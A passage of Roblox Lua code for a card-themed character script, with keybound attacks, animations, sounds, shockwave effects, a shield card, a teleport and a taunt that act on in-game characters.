shockwave2.BrickColor = BrickColor.new("Really black") shockwave2.CFrame = CFrame.new(soundboks.Position) * CFrame.new(0,-6,0) shockwavemesh2 = Instance.new("SpecialMesh", shockwave2) shockwavemesh2.Scale = Vector3.new(5,2,5) shockwavemesh2.MeshId = "rbxassetid://20329976" for i = 1, 40 do shockwave.CFrame = shockwave.CFrame * CFrame.Angles(0,math.rad(0+15),0) shockwave2.CFrame = shockwave2.CFrame * CFrame.Angles(0,math.rad(0+8),0) shockwave.Transparency = shockwave.Transparency + 0.025 shockwave2.Transparency = shockwave2.Transparency + 0.025 shockwavemesh.Scale = shockwavemesh.Scale + Vector3.new(9,.9,9) shockwavemesh2.Scale = shockwavemesh2.Scale + Vector3.new(8,.8,8) swait() end shockwave:Remove() shockwave2:Remove() end)() for i = 1, 4 do explosion = Instance.new("Part", Torso) explosion.Shape = "Ball" explosion.Size = Vector3.new(1,1,1) explosion.Transparency = 0 explosion.CanCollide = false explosion.Anchored = true explosion.BrickColor = BrickColor.new("Really black") explosion.Material = "Neon" explosion.CFrame = CFrame.new(bigzcard2.Position) table.insert(ExtremeM,explosion) table.insert(SlowlyFade,explosion) removeuseless:AddItem(explosion,4) ring = Instance.new("Part", Torso) ring.Size = Vector3.new(5, 5, 5) ring.Transparency = 0 ring.BrickColor = BrickColor.new("Really black") ring.Anchored = true ring.CanCollide = false ring.CFrame = bigzcard2.CFrame * CFrame.Angles(math.rad(math.random(-180,180)), math.rad(math.random(-180,180)), math.rad(math.random(-180,180))) ringh = Instance.new("SpecialMesh", ring) ringh.MeshId = "http://www.roblox.com/asset/?id=3270017" ringh.Scale = Vector3.new(2, 2, .1) table.insert(keyYsize,ringh) table.insert(keyYtransparency,ring) removeuseless:AddItem(ring,4) swait() end wait(1.2) clean() keyYsize={} keyYtransparency={} blackholev = false appi = false g1:Remove() ws = 10 attacking = false debounce = false end end) mouse.KeyDown:connect(function(Press) Press=Press:lower() if Press=='t' then if levitate then if tauntdebounce then return end tauntdebounce = true laughing = true coroutine.wrap(function() while laughing do local b1 = Instance.new("BillboardGui",Head) b1.Size = UDim2.new(0,4,0,1.6) b1.StudsOffset = Vector3.new(0,0,0) b1.Name = "laff" b1.AlwaysOnTop = true b1.Adornee = Head removeuseless:AddItem(b1,3) local b2 = Instance.new("TextLabel",b1) b2.BackgroundTransparency = 1 b2.Text = "HaHaHaHaHaHa..." b2.Font = "Garamond" b2.TextSize = 0 b2.Name = "lafftext" b2.TextStrokeTransparency = 0 b2.TextColor3 = BrickColor.new("Really red").Color b2.TextStrokeColor3 = Color3.new(0,0,0) b2.Size = UDim2.new(1,0,.5,0) table.insert(laughingtable,b2) removeuseless:AddItem(b1,2) coroutine.wrap(function() if zxc then return end zxc = true while true do swait() for i,v in pairs(Head:GetChildren()) do if v.Name == "laff" then v.StudsOffset = v.StudsOffset + Vector3.new(math.random(-2,2),.3,math.random(-2,2)) end end for i,v in pairs(laughingtable) do v.TextTransparency = v.TextTransparency + .025 v.TextStrokeTransparency = v.TextStrokeTransparency + 0.25 v.TextSize = v.TextSize + 2 v.Rotation = v.Rotation + .1 end end end)() swait(10) end end)() laugh = laughs[math.random(1,#laughs)] laughy = Instance.new("Sound",Head) laughy.SoundId = "rbxassetid://"..laugh laughy.Volume = 10 laughy:Play() wait(1) wait(laughy.TimeLength) laughing = false laughy:Remove() tauntdebounce = false else if mouse.Target ~= nil then if debounce then return end attacking = true ghost() tps = Instance.new("Sound", Torso) tps.Volume = 5 tps.SoundId = "rbxassetid://1894958339" tps:Play() removeuseless:AddItem(tps,2) g1 = Instance.new("BodyGyro", Root) g1.D = 175 g1.P = 20000 g1.MaxTorque = Vector3.new(0,9000,0) g1.CFrame = CFrame.new(Root.Position,mouse.Hit.p) removeuseless:AddItem(g1,.05) Root.CFrame = CFrame.new(mouse.Hit.p) * CFrame.new(0,3.3,0) wait(.1) attacking = false debounce = false end end end end) mouse.KeyDown:connect(function(Press) Press=Press:lower() if Press=='q' then if levitate then return end if mouse.Target ~= nil and mouse.Target.Parent ~= Character and mouse.Target.Parent.Parent ~= Character and mouse.Target.Parent:FindFirstChildOfClass("Humanoid") ~= nil and mouse.Target.Parent:FindFirstChildOfClass("Humanoid").Health ~= 0 then if debounce then return end debounce = true attacking = true appi = true ws = 0 coroutine.wrap(function() while appi do wait() if Root.Velocity.y > 1 and attacking == true then position = "Jump2" elseif Root.Velocity.y < -1 and attacking == true then position = "Falling2" elseif Root.Velocity.Magnitude < 2 and attacking == true then position = "Idle2" elseif Root.Velocity.Magnitude > 2 and attacking == true then position = "Walking2" end end end)() coroutine.wrap(function() while appi do wait() settime = 0.05 sine = sine + change if position == "Jump2" and attacking == true and appi == true then change = 1 LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1) RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1) RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.4) ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.4) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.4,.1,-.2) * CFrame.Angles(math.rad(20),math.rad(3),math.rad(4)), 0.4) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.5, 2, 0) * CFrame.Angles(math.rad(10), math.rad(0), math.rad(0)), 0.4) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.5, 1.0, .9) * CFrame.Angles(math.rad(20), math.rad(0), math.rad(0)), 0.4) elseif position == "Falling2" and attacking == true and appi == true then change = 1 LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1) RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1) RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.4) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.5, 2, 0) * CFrame.Angles(math.rad(8), math.rad(4), math.rad(0)), 0.2) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.5, 1.0, .9) * CFrame.Angles(math.rad(14), math.rad(-4), math.rad(0)), 0.2) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.6, 0.5, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(-20)), 0.2) elseif position == "Idle2" and attacking == true and appi == true then change = .4 LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1) RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.5,.6,-.5) * CFrame.Angles(math.rad(32),math.rad(5 - 1 * math.sin(sine/12)),math.rad(40 - 2 * math.sin(sine/12))), 0.3) RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(-.2,1.2,-.3),.3) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.3, 2, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(-10)), 0.3) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.3, 2.0, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(10)), 0.3) elseif position == "Walking2" and attacking == true and appi == true then change = .8 LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1) RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.5,.6,-.5) * CFrame.Angles(math.rad(32),math.rad(5 - 1 * math.sin(sine/12)),math.rad(40 - 2 * math.sin(sine/12))), 0.3) RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(-.2,1.2,-.3),.3) ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,math.rad(0) + Root.RotVelocity.Y/30,math.cos(25*math.cos(sine/8))),.3) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.5, 1.92 - 0.35 * math.cos(sine/8)/2.8, 0.2 - math.sin(sine/8)/3.4) * CFrame.Angles(math.rad(10) + -math.sin(sine/8)/2.3, math.rad(0)*math.cos(sine/1), math.rad(0) + RightLeg.RotVelocity.Y / 30, math.cos(25 * math.cos(sine/8))), 0.3) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.5, 1.92 + 0.35 * math.cos(sine/8)/2.8, 0.2 + math.sin(sine/8)/3.4) * CFrame.Angles(math.rad(10) - -math.sin(sine/8)/2.3, math.rad(0)*math.cos(sine/1), math.rad(0) + LeftLeg.RotVelocity.Y / 30, math.cos(25 * math.cos(sine/8))), 0.3) end end end)() enemyhum = mouse.Target.Parent:FindFirstChildOfClass("Humanoid") ETorso = enemyhum.Parent:FindFirstChild("Torso") or enemyhum.Parent:FindFirstChild("LowerTorso") EHead = enemyhum.Parent:FindFirstChild("Head") g1 = Instance.new("BodyGyro", Root) g1.D = 175 g1.P = 20000 g1.MaxTorque = Vector3.new(0,9000,0) brick = Instance.new("Part",Torso) brick.Anchored = true brick.CanCollide = false brick.Material = "Neon" brick.Transparency = 1 brick.BrickColor = BrickColor.new("White") brick.Size = Vector3.new(8,.3,12) brick.CFrame = Root.CFrame * CFrame.new(math.random(-15,15),-3,math.random(-15,15)) SOUND(brick,1888686669,6,false,1.5) ace = aces[math.random(1,#aces)] acer = Instance.new("Decal",brick) acer.Texture = "rbxassetid://1898092341" acer.Transparency = 1 acer.Face = "Top" coroutine.wrap(function() for i = 1, 20 do g1.CFrame = g1.CFrame:lerp(CFrame.new(Root.Position,ETorso.Position),.2) brick.Transparency = brick.Transparency - .05 acer.Transparency = acer.Transparency - .1 swait() end end)() ETorso.Anchored = true EHead.Anchored = true for i = 1, 25 do swait() g1.CFrame = g1.CFrame:lerp(CFrame.new(Root.Position,ETorso.Position),.2) ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0,-.2,0) * CFrame.Angles(0,0,0),.3) LEFTARMLERP.C1 = CFrame.new(0,0,0) * CFrame.Angles(0,0,0) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1, 1.35, 0.4) * CFrame.Angles(math.rad(-90 - 2 * math.sin(sine/12)), math.rad(3), math.rad(4)), 0.3) brick.CFrame = brick.CFrame:lerp(CFrame.new(ETorso.Position) * CFrame.new(0,-3,0) * CFrame.Angles(0,math.rad(0+10),0),.2) end SOUND(brick,472214107,6,false,2) coroutine.wrap(function() for i = 1, 10 do g1.CFrame = g1.CFrame:lerp(CFrame.new(Root.Position,ETorso.Position),.2) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1, .8, 0.4) * CFrame.Angles(math.rad(-60 - 2 * math.sin(sine/12)), math.rad(3), math.rad(4)), 0.3) swait() end end)() shockwave = Instance.new("Part", Torso) shockwave.Size = Vector3.new(1,1,1) shockwave.CanCollide = false shockwave.Anchored = true shockwave.Transparency = 0 shockwave.BrickColor = BrickColor.new("White") shockwave.CFrame = CFrame.new(brick.Position) shockwavemesh = Instance.new("SpecialMesh", shockwave) shockwavemesh.Scale = Vector3.new(1,1,1) shockwavemesh.MeshId = "rbxassetid://20329976" removeuseless:AddItem(shockwave,4) shockwave2 = Instance.new("Part", Torso) shockwave2.Size = Vector3.new(1,1,1) shockwave2.CanCollide = false shockwave2.Anchored = true shockwave2.Transparency = 0 shockwave2.BrickColor = BrickColor.new("White") shockwave2.CFrame = CFrame.new(brick.Position) shockwavemesh2 = Instance.new("SpecialMesh", shockwave2) shockwavemesh2.Scale = Vector3.new(1,1,1) shockwavemesh2.MeshId = "rbxassetid://20329976" removeuseless:AddItem(shockwave2,4) for i = 1, 35 do swait() shockwavemesh.Scale = shockwavemesh.Scale + Vector3.new(2,.1,2) shockwave.CFrame = shockwave.CFrame * CFrame.Angles(0,math.rad(0+12),0) shockwave.Transparency = shockwave.Transparency + .05 shockwavemesh2.Scale = shockwavemesh2.Scale + Vector3.new(.5,.1,.5) shockwave2.CFrame = shockwave2.CFrame * CFrame.Angles(0,math.rad(0+4),0) shockwave2.Transparency = shockwave2.Transparency + .03 EHead.CFrame = EHead.CFrame * CFrame.new(0,-.20,0) ETorso.CFrame = ETorso.CFrame * CFrame.new(0,-.25,0) end for i = 1, 8 do brick.Size = brick.Size + Vector3.new(1.5,0,2.5) swait() end n = 0 SOUND(brick,54111471,6,false,1) for i = 1, 40 do n = n + 6 brick.Transparency = brick.Transparency + .025 acer.Transparency = acer.Transparency + .075 brick.CFrame = brick.CFrame * CFrame.Angles(0,math.rad(n),0) brick.Size = brick.Size - Vector3.new(1.5,.025,2.5) swait() end ws = 10 brick:Remove() enemyhum.Parent:Remove() attacking = false removeuseless:AddItem(g1,0.001) debounce = false appi = false end end end) mouse.KeyDown:connect(function(Press) Press=Press:lower() if Press=='p' then if levitate then return end if blocking then if blockedoff then return end clickallowance = false appi = false attacking = true blocking = false throwing = true ws = 0 n = 0 blockcard.CanCollide = false for i = 1, 35 do n = n + 20 blockcard.CFrame = Root.CFrame * CFrame.new(0,3,-5) * CFrame.Angles(0,math.rad(n),0) ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, -.2, 0) * CFrame.Angles(math.rad(0), math.rad(25), math.rad(0)), 0.3) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1, 1.35, 0.4) * CFrame.Angles(math.rad(-50 - 2 * math.sin(sine/12)), math.rad(12), math.rad(9)), 0.3) LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(-.65, .6, 1) * CFrame.Angles(0,0,0),.3) swait() end blockcard.CFrame = Root.CFrame * CFrame.new(0,3,-5 + -1) * CFrame.Angles(0,0,0) blockcard.CanCollide = false locater1 = Instance.new("Part",blockcard) locater1.Size = Vector3.new(1,1,1) locater1.CanCollide = false locater1.Anchored = true locater1.Transparency = 1 locater2 = Instance.new("Part",blockcard) locater2.Size = Vector3.new(1,1,1) locater2.CanCollide = false locater2.Transparency = 1 locater2.Anchored = true locater3 = Instance.new("Part",blockcard) locater3.Size = Vector3.new(1,1,1) locater3.Transparency = 1 locater3.CFrame = blockcard.CFrame * CFrame.Angles(math.rad(90),0,0) locater3.CanCollide = false locater3.Anchored = true fushfush = Instance.new("Sound",blockcard) fushfush.SoundId = "rbxassetid://288641686" fushfush.Volume = 8 fushfush:Play() boosh:Play() coroutine.wrap(function() n = 0 for i = 1, 35 do n = n + 10 shockwave = Instance.new("Part", Torso) shockwave.Size = Vector3.new(1,1,1) shockwave.CanCollide = false shockwave.Anchored = true shockwave.Transparency = .5 shockwave.BrickColor = BrickColor.new("White") shockwave.CFrame = locater3.CFrame shockwavemesh = Instance.new("SpecialMesh", shockwave) shockwavemesh.Scale = Vector3.new(15,.7,15) shockwavemesh.MeshId = "rbxassetid://20329976" shockwave.CFrame = locater3.CFrame * CFrame.Angles(math.rad(0),math.rad(1),0) removeuseless:AddItem(shockwave,1) table.insert(lolzor2,shockwave) for i,v in pairs(lolzor2) do v.Transparency = v.Transparency + .1 v.CFrame = v.CFrame * CFrame.Angles(math.rad(0),math.rad(n),0) end swait() end end)() for i = 1, 35 do ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, -.2, 0) * CFrame.Angles(math.rad(0), math.rad(-20), math.rad(0)), 0.3) LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.3) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1, 1.35, 0.4) * CFrame.Angles(math.rad(-90 - 2 * math.sin(sine/12)), math.rad(-20), math.rad(4)), 0.3) fushfush.Volume = fushfush.Volume - .2 Hit = damagealll(20,blockcard.Position) for _,v in pairs(Hit) do vel = Instance.new("BodyVelocity",v:FindFirstChild("Torso") or v:FindFirstChild("UpperTorso")) vel.maxForce = Vector3.new(9999999999999,9999999999999,9999999999999) torso = v:FindFirstChild("Torso") or v:FindFirstChild("UpperTorso") vel.velocity = CFrame.new(blockcard.Position,torso.Position).lookVector*120 removeuseless:AddItem(vel,.1) end locater1.CFrame = blockcard.CFrame * CFrame.new(-5,-6,0) locater3.CFrame = blockcard.CFrame * CFrame.new(0,0,-1) * CFrame.Angles(math.rad(90),0,0) locater2.CFrame = blockcard.CFrame * CFrame.new(5,-6,0) grassblocks = Instance.new("Part",Torso) grassblocks.Size = Vector3.new(4,4,4) grassblocks.Material = "Grass" grassblocks.Anchored = true grassblocks.BrickColor = BrickColor.new("Bright green") grassblocks.CFrame = locater1.CFrame * CFrame.Angles(math.rad(math.random(-180,180)),math.rad(math.random(-180,180)),math.rad(math.random(-180,180))) removeuseless:AddItem(grassblocks,5) grassblocks2 = Instance.new("Part",Torso) grassblocks2.Size = Vector3.new(4,4,4) grassblocks2.Material = "Grass" grassblocks2.Anchored = true grassblocks2.BrickColor = BrickColor.new("Bright green") grassblocks2.CFrame = locater2.CFrame * CFrame.Angles(math.rad(math.random(-180,180)),math.rad(math.random(-180,180)),math.rad(math.random(-180,180))) removeuseless:AddItem(grassblocks2,5) blockcardshadow = Instance.new("Part",Torso) blockcardshadow.Transparency = .5 blockcardshadow.Anchored = true blockcardshadow.Material = "Neon" blockcardshadow.BrickColor = BrickColor.new("White") blockcardshadow.Size = Vector3.new(8, 13, 0.3) blockcardshadow.CanCollide = false blockcardshadow.CFrame = blockcard.CFrame removeuseless:AddItem(blockcardshadow,2) table.insert(lolzor,blockcardshadow) for i,v in pairs(lolzor) do v.Transparency = v.Transparency + 0.05 end blockcard.CFrame = blockcard.CFrame * CFrame.new(0,0,-4) swait() end blockcard.Name = "Getthisshitoutofhere" for i = 1, 10 do blockcard.CFrame = blockcard.CFrame * CFrame.new(0,0,-2) blockcard.Transparency = blockcard.Transparency + .1 acer.Transparency = blockcard.Transparency ace2.Transparency = blockcard.Transparency for i,v in pairs(lolzor) do v.Transparency = v.Transparency + .05 end for i,v in pairs(lolzor2) do v.Transparency = v.Transparency + .1 end swait() end lolzor={} lolzor2={} attacking = false debounce = false blocking = false throwing = false fushfush:Remove() clickallowance = false appi = false blockcard:Remove() g1:Remove() ws = 10 else if debounce then return end if throwing then return end debounce = true ws = 10 attacking = true blocking = true boosh = Instance.new("Sound",nil) boosh.SoundId = "rbxassetid://413682983" boosh.Volume = 6 appi = true coroutine.wrap(function() while appi do wait() if Root.Velocity.y > 1 and attacking == true then position = "Jump2" elseif Root.Velocity.y < -1 and attacking == true then position = "Falling2" elseif Root.Velocity.Magnitude < 2 and attacking == true then position = "Idle2" elseif Root.Velocity.Magnitude > 2 and attacking == true then position = "Walking2" end end end)() coroutine.wrap(function() while appi do wait() settime = 0.05 sine = sine + change if position == "Jump2" and attacking == true and appi == true then change = 1 LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1) RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1) RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.4) ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.4) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.4,.1,-.2) * CFrame.Angles(math.rad(20),math.rad(3),math.rad(4)), 0.4) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.5, 2, 0) * CFrame.Angles(math.rad(10), math.rad(0), math.rad(0)), 0.4) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.5, 1.0, .9) * CFrame.Angles(math.rad(20), math.rad(0), math.rad(0)), 0.4) elseif position == "Falling2" and attacking == true and appi == true then change = 1 LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1) RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1) RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.4) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.5, 2, 0) * CFrame.Angles(math.rad(8), math.rad(4), math.rad(0)), 0.2) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.5, 1.0, .9) * CFrame.Angles(math.rad(14), math.rad(-4), math.rad(0)), 0.2) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.6, 0.5, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(-20)), 0.2) elseif position == "Idle2" and attacking == true and appi == true then change = .4 LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1) RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.5,.6,-.5) * CFrame.Angles(math.rad(32),math.rad(5 - 1 * math.sin(sine/12)),math.rad(40 - 2 * math.sin(sine/12))), 0.3) RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(-.2,1.2,-.3),.3) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.3, 2, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(-10)), 0.3) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.3, 2.0, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(10)), 0.3) elseif position == "Walking2" and attacking == true and appi == true then change = .8 LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1) RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.5,.6,-.5) * CFrame.Angles(math.rad(32),math.rad(5 - 1 * math.sin(sine/12)),math.rad(40 - 2 * math.sin(sine/12))), 0.3) RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(-.2,1.2,-.3),.3) ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,math.rad(0) + Root.RotVelocity.Y/30,math.cos(25*math.cos(sine/8))),.3) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.5, 1.92 - 0.35 * math.cos(sine/8)/2.8, 0.2 - math.sin(sine/8)/3.4) * CFrame.Angles(math.rad(10) + -math.sin(sine/8)/2.3, math.rad(0)*math.cos(sine/1), math.rad(0)), 0.3) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.5, 1.92 + 0.35 * math.cos(sine/8)/2.8, 0.2 + math.sin(sine/8)/3.4) * CFrame.Angles(math.rad(10) - -math.sin(sine/8)/2.3, math.rad(0)*math.cos(sine/1), math.rad(0)), 0.3) end end end)() blockcard = Instance.new("Part",Torso) blockcard.Material = "Neon" blockcard.Transparency = 1 blockcard.BrickColor = BrickColor.new("White") blockcard.Size = Vector3.new(8, 13, 0.3) blockcard.CFrame = Root.CFrame * CFrame.new(0,2,-5) blockcard.Anchored = true boosh.Parent = blockcard SOUND(blockcard,236989198,6,false,1) ace = aces[math.random(1,#aces)] acer = Instance.new("Decal",blockcard) acer.Texture = "rbxassetid://"..ace acer.Transparency = 1 acer.Face = "Front" ace2 = acer:Clone() ace2.Parent = blockcard ace2.Face = "Back" coroutine.wrap(function() for i = 1, 20 do blockcard.Transparency = blockcard.Transparency - 0.05 acer.Transparency = blockcard.Transparency ace2.Transparency = blockcard.Transparency swait() end clickallowance = true end)() g1 = Instance.new("BodyGyro", Root) g1.D = 175 g1.P = 20000 g1.MaxTorque = Vector3.new(0,9000,0) coroutine.wrap(function() while blocking do if not blockedoff then ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0,-.2, 0) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(0)),.3) blockcard.CFrame = Root.CFrame * CFrame.new(0,3,-5) g1.CFrame = g1.CFrame:lerp(CFrame.new(Root.Position,mouse.Hit.p),.2) LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(0,0,0)*CFrame.Angles(0,0,0),.3) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1, 1.35, 0.4) * CFrame.Angles(math.rad(-90 - 2 * math.sin(sine/12)), math.rad(3), math.rad(4)), 0.3) end swait() end end)() wait(1) mouse.Button1Down:connect(function() if throwing then return end if not clickallowance then return end clickallowance = false blockedoff = true ws = 0 for i = 1, 15 do ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, -.2, 0) * CFrame.Angles(math.rad(0), math.rad(25), math.rad(0)), 0.3) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1, 1.35, 0.4) * CFrame.Angles(math.rad(-50 - 2 * math.sin(sine/12)), math.rad(12), math.rad(9)), 0.3) LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(-.65, .6, 1) * CFrame.Angles(0,0,0),.3) swait() end boosh:Play() hitdebounce = false blockcard.Touched:connect(function(hit) if hit.Parent:IsA("Part") then elseif hit.Parent:IsA("SpecialMesh") then elseif hit.Parent.Name == game.Players.LocalPlayer.Name then elseif hit.Parent:findFirstChildOfClass("Humanoid") then for i,v in pairs(hit.Parent:GetChildren()) do Slachtoffer = v.Parent:FindFirstChildOfClass("Humanoid") if hitdebounce then return end hitdebounce = true vel = Instance.new("BodyVelocity",hit.Parent:FindFirstChild("Torso") or hit.Parent:FindFirstChild("UpperTorso")) vel.maxForce = Vector3.new(9999999999999,9999999999999,9999999999999) if Slachtoffer.RigType == Enum.HumanoidRigType.R15 then tors = hit.Parent:FindFirstChild("UpperTorso") else tors = hit.Parent:FindFirstChild("Torso") end vel.velocity = CFrame.new(Root.Position,tors.Position).lookVector*120 removeuseless:AddItem(vel,.1) end end end) for i = 1, 10 do ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, -.2, 0) * CFrame.Angles(math.rad(0), math.rad(-20), math.rad(0)), 0.3) LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.3) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1, 1.35, 0.4) * CFrame.Angles(math.rad(-90 - 2 * math.sin(sine/12)), math.rad(-20), math.rad(4)), 0.3) blockcard.CFrame = blockcard.CFrame * CFrame.new(0,0,0-1) swait() end for i = 1, 10 do blockcard.CFrame = blockcard.CFrame * CFrame.new(0,0,0+1) swait() end hitdebounce = true ws = 10 clickallowance = true blockedoff = false end) end end end) mouse.KeyDown:connect(function(Press) Press=Press:lower() if Press=='f' then if debounce then return end if notallowedtransform then return end debounce = true if levitate then levitate = false mjester.VertexColor = Vector3.new(1, 1, 1) glow.Transparency = 1 blastwave = Instance.new("Part",Torso) blastwave.CFrame = Torso.CFrame blastwave.Anchored = true blastwave.Material = "Neon" blastwave.CanCollide = false blastwave.Shape = "Ball" blastwave.Size = Vector3.new(3,3,3) coroutine.wrap(function() for i = 1, 20 do levitatewave.Transparency = levitatewave.Transparency + 0.05 levitatewave2.Transparency = levitatewave2.Transparency + 0.05 blastwave.Size = blastwave.Size + Vector3.new(2,2,2) blastwave.Transparency = blastwave.Transparency + 0.05 swait() end blastwave:Remove() levitatewave2:Remove() levitatewave:Remove() end)() ws = 10 notallowedtransform = true attacking = true coroutine.wrap(function() for i = 1, 10 do for i,v in pairs(LeftArm:GetChildren()) do if v.Name == lmagic.Name then v.Transparency = v.Transparency + 0.1 end end for i,v in pairs(RightArm:GetChildren()) do if v.Name == rmagic.Name then v.Transparency = v.Transparency + 0.1 end end wait() end end)() doomtheme.SoundId = "rbxassetid://1843358057" jesterWeld.C0 = CFrame.new(0,0,0) * CFrame.Angles(0,0,0) wait(0.000001) jesterWeld.C0 = jester.CFrame:inverse() * Head.CFrame * CFrame.new(0,-.3,0) * CFrame.Angles(math.rad(0),math.rad(90),0) mjester.Scale = Vector3.new(1.1, 1.1, 1.1) mjester.MeshId,mjester.TextureId = 'rbxassetid://1241662062','rbxassetid://1241662395' mMask.Scale = Vector3.new(0.13, 0.13, 0.1) mMask.MeshId,mMask.TextureId = 'http://www.roblox.com/asset/?id=5158270','http://www.roblox.com/asset/?id=9543585' maskweld.C0 = 